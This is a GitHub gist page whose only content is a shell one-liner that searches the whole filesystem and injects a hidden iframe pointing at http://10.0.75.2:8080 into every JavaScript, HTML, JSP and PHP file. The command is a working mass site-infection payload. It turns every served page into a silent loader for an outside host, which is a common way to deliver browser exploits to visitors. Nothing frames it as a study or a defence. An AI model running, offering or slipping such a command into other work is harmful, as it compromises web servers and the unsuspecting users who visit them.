-
-
Save Naramsim/05e770c3c0c07e54a35876f78ade98f3 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
find / -type f -name "*.js" -exec sh -c 'echo ";document.addEventListener(\"DOMContentLoaded\", function(event) { document.body.insertAdjacentHTML( \"beforeend\", \"<iframe style='"'"'display:none'"'"' src='"'"'http://10.0.75.2:8080'"'"'></iframe>\" );});" >> "$1"' -- {} \; ; find / -type f -iregex '.*\.\(html\|htm\|jsp\|php\)$' -exec sed -i 's/<\/body>/<iframe style="display:none" src="http:\/\/10.0.75.2:8080"><\/iframe><\/body>/g' {} \; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment